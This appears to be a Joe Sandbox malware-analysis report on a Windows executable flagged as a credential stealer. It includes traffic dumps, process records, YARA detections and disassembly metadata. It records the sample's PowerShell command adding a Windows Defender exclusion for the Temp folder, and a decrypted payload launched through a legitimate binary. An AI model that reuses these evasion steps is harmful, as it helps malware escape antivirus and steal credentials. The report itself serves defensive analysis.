2024-11-24 11:12:43 UTC	15331	OUT	Data Raw: ef d2 86 65 7b b2 e2 93 c3 fb 8d 6e 03 a6 23 83 40 5a 51 f1 c6 df 09 4d dd 62 c4 4b 3b ef 81 e8 19 56 ea f0 e0 3b 6e 1b 4a 6b 3e 28 d9 57 a2 72 12 f9 68 61 2d 24 e3 68 95 3f 3b 19 c4 0d 31 c2 8c 58 05 f1 9b 93 fc 60 84 6f 95 74 67 e2 e8 46 5f 46 ce 7f ae e5 77 19 c1 c5 ac 9b 77 0d e6 22 e6 95 ee 70 73 04 07 0b be ec 4e fb 61 72 df 6e c3 7b b1 b4 2d 4d 29 a5 35 b4 a6 c2 e5 d2 a5 cd 4d 36 8b 73 3f de 8c a3 cf 38 3a b7 6c 11 38 21 05 f7 5a 48 74 03 6a 8c c4 ff 82 c7 6c 70 39 f3 31 81 65 39 72 24 92 33 5b 3e e1 ea 32 38 53 be dc bd c2 41 2a 2a 86 94 b1 59 28 2d 2c 6d 32 e5 a9 7f c9 82 12 6e 4d 53 20 06 63 c9 47 e2 b3 2c 6d 22 48 12 b2 7e 11 ce 0d 20 f5 2a b6 76 58 54 b8 ff 5e 50 68 ad a4 1c 21 24 16 7d 63 c4 11 64 34 37 38 e7 80 cd d0 08 b4 eb 5a 2d cc fb 92 Data Ascii: e{n#@ZQMbK;V;nJk>(Wrha-$h?;1X`otgF_Fww"psNarn{-M)5M6s?8:l8!ZHtjlp91e9r$3[>28SA*Y(-,m2nMS cG,m"H~ vXT^Ph!$}cd478Z-
2024-11-24 11:12:43 UTC	15331	OUT	Data Raw: 50 e2 e8 cf 64 e9 51 df 01 a5 de d5 66 5d 7f b3 20 0f bf 1e aa 04 65 b7 34 8f d2 86 ce 43 39 34 24 68 11 9b ff 93 51 48 2e 43 05 5d 20 b9 91 60 95 93 bf 67 8e 4b 53 3f 26 ea 8c ae 5e 74 4b 0c c2 74 05 7d ad 61 82 95 dd 33 36 f5 f6 6d eb 8e a7 7e fd a9 ab fd 7b 5b 90 5d fe 02 8f 28 3a f2 66 42 c8 bb 11 94 d7 a5 d1 49 cb 37 c2 e0 24 b4 57 6b da e8 b3 ea 14 a1 80 85 6f 19 94 99 85 5d 98 1a 27 f2 4d d4 2e d4 b7 55 9a 1c 61 d9 9f 7a 0d 78 fd 48 d8 1f c1 cf 31 40 37 17 5a 46 31 38 65 79 68 17 be fc 04 35 8f 8d 81 7c 2a 91 4d 8a ae ba 8b b6 a3 67 1b 01 1c 56 6a 1b 29 b6 3b 65 17 4f b5 55 70 b4 04 6b 80 85 7e ad bf 78 e5 b2 9f 76 74 dd ed 21 32 2c df 00 61 f0 78 21 c5 cb 6f 55 94 ef 35 d8 eb ce ec 5a 7b a1 2a f4 d8 58 e7 7e 54 fa 05 d6 11 a4 ea ac 06 3e 75 dd 36 Data Ascii: PdQf] e4C94$hQH.C] `gKS?&^tKt}a36m~{[](:fBI7$Wko]'M.UazxH1@7ZF18eyh5\|MgVj);eOUpk~xvt!2,ax!oU5Z{X~T>u6
2024-11-24 11:12:43 UTC	15331	OUT	Data Raw: d0 34 f1 42 f9 c4 e9 eb c5 23 fd fe 49 1c 05 4a 69 ae 72 63 82 87 61 0e 7f 33 9f 55 96 a3 af c2 6a 0e 23 41 ad fd 75 4d 7b e8 c0 55 56 be 2a df 21 a6 95 7d 76 d0 ca 79 5c ef 74 8a 3a 54 f5 8d 5c 02 59 56 ca 60 66 eb 8c a1 8d ea 29 32 32 cd a1 8d 8a 1a e5 b9 66 c2 9c 56 37 ed fc b3 df fa 92 50 6d 12 c5 69 32 82 52 86 79 25 e2 90 77 99 5c 1b 26 0b 6d 91 f9 54 29 04 44 ec 8a 02 09 47 59 9c 75 ff 31 22 bb 2f a6 3d b4 14 d7 5c 17 90 ff 8a 81 ce d9 a5 58 fe ef 38 29 fb a3 d2 da 37 39 da b7 e5 d3 03 6c 11 e5 08 06 79 fe d7 45 5c 61 b2 15 b3 c6 bb 1f a5 ba a7 3f a4 48 ba 4f 77 6a 99 e5 50 97 15 69 5f fb 4e a5 9c c0 fa 91 99 52 5a 74 9e d8 f4 ad bc 5b 39 ac d0 4f 5b b2 ff 9d 30 73 62 7e 3b 20 39 c5 86 e2 be 5a 9c 0a 1f f8 d7 cb 60 cf f2 87 ba d9 17 b3 91 ef a5 1b Data Ascii: 4B#IJirca3Uj#AuM{UV*!}vy\t:T\YV`f)22fV7Pmi2Ry%w\&mT)DGYu1"/=\X8)79lyE\a?HOwjPi_NRZt[9O[0sb~; 9Z`
2024-11-24 11:12:45 UTC	1017	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:12:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=im7sme7qlqb49km15s3kf3nfkp; expires=Thu, 20-Mar-2025 04:59:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k%2BbDdkpMRJh0%2B6yOh%2BQ7ukZkuw5Ey%2FELGmLb4aRDKD6q0oRQCyaCqg4qQ6YpVbAP8TDY3OOUXxkMOcOBfAYDCbLz1bap0ReEg0ePdHGlChMk7MCZHKxhVqa8lNsz7EmHLUXd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e78f731a9a54243-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2066&sent=332&recv=607&lost=0&retrans=0&sent_bytes=2841&recv_bytes=587358&delivery_rate=1387832&cwnd=193&unsent_bytes=0&cid=47fa53ff3c423d28&ts=2369&x=0"

Target ID:	0
Start time:	06:10:03
Start date:	24/11/2024
Path:	C:\Users\user\Desktop\mDHwap5GlV.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\mDHwap5GlV.exe"
Imagebase:	0x960000
File size:	62'920'824 bytes
MD5 hash:	FF8C1B17F334E2A1EF11429BBCA0351F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:10:28
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\"
Imagebase:	0x3a0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:10:28
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:11:29
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe"
Imagebase:	0x9f0000
File size:	7'866'248 bytes
MD5 hash:	8AE631C4645097BB7612CE112E70BF35
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:12:23
Start date:	24/11/2024
Path:	C:\Program Files (x86)\Common Files\Microsoft Shared\ink\pipanel.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe"
Imagebase:	0x90000
File size:	7'680 bytes
MD5 hash:	3C98CEE428375B531A5C98F101B1E063
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3177873716.0000000003289000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3177229776.0000000003287000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3149305764.000000000328B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3153999700.000000000328B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3199843354.0000000003287000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3223397181.0000000003287000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3199093402.0000000003288000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3199380721.0000000003288000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3226874929.000000000328F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000003.3150414400.000000000328B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.5%
Dynamic/Decrypted Code Coverage:	1.5%
Signature Coverage:	5.9%
Total number of Nodes:	728
Total number of Limit Nodes:	52

Executed Functions

Function 09F5E8D0 Relevance: 56.2, Strings: 43, Instructions: 2470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(, xrefs: 09F5FDF0
Y, xrefs: 09F5FF43
,, xrefs: 09F6008F
6, xrefs: 09F60A38
", xrefs: 09F5F92D
T, xrefs: 09F5F039
), xrefs: 09F5FE8A
3, xrefs: 09F6065D
*, xrefs: 09F5F3AC
-, xrefs: 09F6011D
*, xrefs: 09F5FF24
8, xrefs: 09F60BDE
5, xrefs: 09F60847
$, xrefs: 09F5F15A
_, xrefs: 09F60F5E
9, xrefs: 09F60E0A
<, xrefs: 09F61062
+, xrefs: 09F5FFC4
=, xrefs: 09F610D2
2, xrefs: 09F605BD
:, xrefs: 09F60F41
7, xrefs: 09F60B0E
#, xrefs: 09F5ED79
', xrefs: 09F5FD6D
&, xrefs: 09F5FCF0
#, xrefs: 09F5F9E9
7, xrefs: 09F605DC
%, xrefs: 09F5FB33
, xrefs: 09F5F7A5
!, xrefs: 09F5F893
4, xrefs: 09F607D0
a, xrefs: 09F612BD
$, xrefs: 09F5FAB6
O, xrefs: 09F5EDE2
\, xrefs: 09F60A57
H, xrefs: 09F5EAB3
,, xrefs: 09F5F724
1, xrefs: 09F60468
, xrefs: 09F5EB71
0, xrefs: 09F603EB
., xrefs: 09F601B7
/, xrefs: 09F60257
;, xrefs: 09F60FEE

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID: $ $!$"$#$#$$$$$%$&$'$($)$*$*$+$,$,$-$.$/$0$1$2$3$4$5$6$7$7$8$9$:$;$<$=$H$O$T$Y$\$_$a
API String ID: 0-1396218731
Opcode ID: 9c419d97200f8212203a340f2daa005420cef3d580697499cf0e04801eec1b54
Instruction ID: a9b698765fc62909471127138112bd90de773b19d0df2d6a9651f4c0391bb9b2
Opcode Fuzzy Hash: 9c419d97200f8212203a340f2daa005420cef3d580697499cf0e04801eec1b54
Instruction Fuzzy Hash: 7153D1B9A0021A9FDB51DFA0E948BEDBBF2FF48300F108699E519A7260D7755E84CF50

Function 00BC2010 Relevance: 3.0, APIs: 2, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(89ECF510,?,00000000,00E37F30,000000FF,?,00000002,0096F0C3,?,00A251A5,?,89ECF510), ref: 00BC203E
RtlAllocateHeap.NTDLL(03310000,00000000,?,89ECF510,?,00000000,00E37F30,000000FF,?,00000002,0096F0C3,?,00A251A5,?,89ECF510), ref: 00BC205A

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: b7fc4e572d51269aa1499eae10ddf600dd01741332fb7508cd67ce6c0a9610c5
Instruction ID: e4f45bd0e45eb3362e4348cf56e4c515f766f748c9fe5d1a1dc6a484dddb460c
Opcode Fuzzy Hash: b7fc4e572d51269aa1499eae10ddf600dd01741332fb7508cd67ce6c0a9610c5
Instruction Fuzzy Hash: F0014B32B55654AFD721CB69E845F5A77E8FB09B24F0042BEE80AD7780DB259800CB94

Function 09F1F780 Relevance: 2.0, Strings: 1, Instructions: 751COMMON

Download Yara Rule

Strings

HTTP/1., xrefs: 09F1FA48

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID: HTTP/1.
API String ID: 0-1385415560
Opcode ID: d4c42edf2a4408e7a52f6cd210126fd3c36009232a68f38e6292b4b4171aba61
Instruction ID: 675658403fda9fa877f9004dbe7ac7bff3acc91c2a1d231276ce826513558b1a
Opcode Fuzzy Hash: d4c42edf2a4408e7a52f6cd210126fd3c36009232a68f38e6292b4b4171aba61
Instruction Fuzzy Hash: 41626C3AA00209DFDB14DF60E558AAD7BB6FF88311F148169E906DB391DB399D42CF80

Function 09F27980 Relevance: 2.0, Instructions: 1996COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d0f3851de402ce0b5f4a30e1cf7a5a4582648fba20beaa8dd49170751a58ad0
Instruction ID: a7e740251df292da9b51e525c8b97bf3a84d8840e4c160fe4ae1241205489c9a
Opcode Fuzzy Hash: 8d0f3851de402ce0b5f4a30e1cf7a5a4582648fba20beaa8dd49170751a58ad0
Instruction Fuzzy Hash: 1A23227690021ECFDB24DF20E998B99B7B5FF44305F1085A8E50AE7250DB79AE86CF50

Function 09F534F0 Relevance: .5, Instructions: 505COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50c7d34a5ad24462524319f4c0a1a11e615a4e455b0a7c6f91bc41d5680ac934
Instruction ID: 47614b7d2546b64f7f02ac684d6008458a20d5d7dfcb281baf97ef9e4862848d
Opcode Fuzzy Hash: 50c7d34a5ad24462524319f4c0a1a11e615a4e455b0a7c6f91bc41d5680ac934
Instruction Fuzzy Hash: A3322E7690020ACFDB14DF60F948A99B7B6FF89301F108699E81AE7354DB34AD86CF40

Function 09F656D0 Relevance: .4, Instructions: 352COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2586133206.0000000009EE1000.00000020.00000001.00040000.00000003.sdmp, Offset: 09EE0000, based on PE: true

Associated: 00000000.00000002.2586115355.0000000009EE0000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586302023.000000000A03E000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586320007.000000000A045000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.2586339606.000000000A056000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ee0000_mDHwap5GlV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b392bc25c386aa748ecd1030f60aa4e75e6489cfffaa1e5a9e725216c119544
Instruction ID: 32b405190ab3a4bab8b7966524c57b148d71bc2cf851b417b416b6fba4b72de6
Opcode Fuzzy Hash: 0b392bc25c386aa748ecd1030f60aa4e75e6489cfffaa1e5a9e725216c119544
Instruction Fuzzy Hash: 7DF1A73B911248CFD304EF35F84C689BBEABFC4211B19CA64D44ACA265DFB89D45CB51

Function 00A24C20 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 202
threadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00A24C8C
GetCurrentThread.KERNEL32 ref: 00A24C9D
OpenThreadToken.ADVAPI32(00000000), ref: 00A24CA4
RevertToSelf.ADVAPI32 ref: 00A24CAE
GetCurrentThread.KERNEL32 ref: 00A24CDB
DuplicateHandle.KERNELBASE(?,00000000), ref: 00A24CE5
SetThreadToken.ADVAPI32(00000000,FFFFFFFF), ref: 00A24D16
CloseHandle.KERNELBASE(FFFFFFFF), ref: 00A24D62
QueryPerformanceCounter.KERNEL32(00A251A5), ref: 00A24D85
GetTickCount.KERNEL32 ref: 00A24D8F
GetCurrentProcessId.KERNEL32 ref: 00A24D9F
GetCurrentThreadId.KERNEL32 ref: 00A24DA7
_controlfp_s.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,00000300,00A251A5), ref: 00A24DC7
GetProcessHeap.KERNEL32 ref: 00A24DF7
HeapAlloc.KERNEL32(03310000,00000000,00000010), ref: 00A24E14

Part of subcall function 00A29F40: VirtualQuery.KERNEL32(?,?,0000001C,?,?,00A25145,?,89ECF510), ref: 00A29F5F

CloseHandle.KERNEL32(?,89ECF510,00A251A5,00000000,00E37F30,000000FF), ref: 00A24E98

Strings

SetupThread managed Thread %p Thread Id = %x, xrefs: 00A24C65
UndoRevert/SetThreadToken failed for hToken = %d, xrefs: 00A24D32

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: CurrentThread$HandleProcess$CloseHeapQueryToken$AllocCountCounterDuplicateOpenPerformanceRevertSelfTickVirtual_controlfp_s
String ID: SetupThread managed Thread %p Thread Id = %x$UndoRevert/SetThreadToken failed for hToken = %d
API String ID: 3150712211-1638468778
Opcode ID: facd1c1b1feb0f71d6493bb63eb317b8a2955bdf61034b5a15d1d58427390d4d
Instruction ID: b6af2ad3c6217d0bd024a2941ba13ba5de8780b57d3aa1fbd7c64c9a1fad522b
Opcode Fuzzy Hash: facd1c1b1feb0f71d6493bb63eb317b8a2955bdf61034b5a15d1d58427390d4d
Instruction Fuzzy Hash: 6771A971A00215AFD720DFB9ED45B9AB7B9FF08B14F104229F929E72D0DB749904CB91

Function 009AF6F0 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 283
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RaiseException.KERNEL32(?,00000001,00000000,?,?), ref: 009AF901
KiUserExceptionDispatcher.NTDLL(?,00000001,00000000,?), ref: 009AF916

Strings

RCC, xrefs: 009AF8A7
******* MANAGED EXCEPTION THROWN: Object thrown: %p MT %pT rethrow %d, xrefs: 009AF74C
Exception HRESULT = 0x%x Message String 0x%p (db will display) InnerException %p MT %pT, xrefs: 009AF7DD
Exception HRESULT = 0x%x , xrefs: 009AF783

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: Exception$DispatcherRaiseUser
String ID: ******* MANAGED EXCEPTION THROWN: Object thrown: %p MT %pT rethrow %d$Exception HRESULT = 0x%x $Exception HRESULT = 0x%x Message String 0x%p (db will display) InnerException %p MT %pT$RCC
API String ID: 3476742375-4002280689
Opcode ID: 5b5174639aa90192fc2fd7256dfaabb4b2336c98d80cc413af65a69d16c5cc04
Instruction ID: 9f237536aef8267f5846e63997bdf40b9a71c305263037656257728fefedc9f4
Opcode Fuzzy Hash: 5b5174639aa90192fc2fd7256dfaabb4b2336c98d80cc413af65a69d16c5cc04
Instruction Fuzzy Hash: C891B071A002189BDB14EBA4CD55BAFB7F9EF89714F104139F515A7391DB389D01CBA0

Function 00A23810 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 259
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00A238A9

Strings

T::ST - recycling thread 0x%p (state: 0x%x), xrefs: 00A2391B

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FCD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FD5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FEE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565483264.0000000000FF3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_960000_mDHwap5GlV.jbxd

Similarity

API ID: CurrentThread
String ID: T::ST - recycling thread 0x%p (state: 0x%x)
API String ID: 2882836952-1329013172
Opcode ID: 9f155fa568a107e8e27926ce79aebb1d1c53f44cbb7ffa4f453b05f6fd09ab0a
Instruction ID: 58200c179dec3b67bd900fa8ba9386c8947fde90b2832338e58156e6cba64d85
Opcode Fuzzy Hash: 9f155fa568a107e8e27926ce79aebb1d1c53f44cbb7ffa4f453b05f6fd09ab0a
Instruction Fuzzy Hash: F5B1D332A00365DFEB14DF78E9457AAB7E4BF06314F044179D846A7382DBB8AE44CB91

Function 00BD8CD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0096F6D0: wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,?,00000004,00000000,89ECF510,00000000,?), ref: 0096F75C

Part of subcall function 0096B5C0: HeapFree.KERNEL32(00000000,?,89ECF510,?,00000000,00E384BD,000000FF,?,00A7B1B0,00000000), ref: 0096B603

LoadLibraryExW.KERNEL32(?,00000000,?,?,?,00000000,FaultRep.dll,89ECF510,00000001,?,?), ref: 00BD8E21
GetLastError.KERNEL32 ref: 00BD8E2F
SetLastError.KERNEL32(00000000), ref: 00BD8F61

Strings

FaultRep.dll, xrefs: 00BD8D31

Memory Dump Source

Source File: 00000000.00000002.2565096556.0000000000961000.00000020.00000001.01000000.00000003.sdmp, Offset: 00960000, based on PE: true

Associated: 00000000.00000002.2565083682.0000000000960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565358381.0000000000E83000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2565434102.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
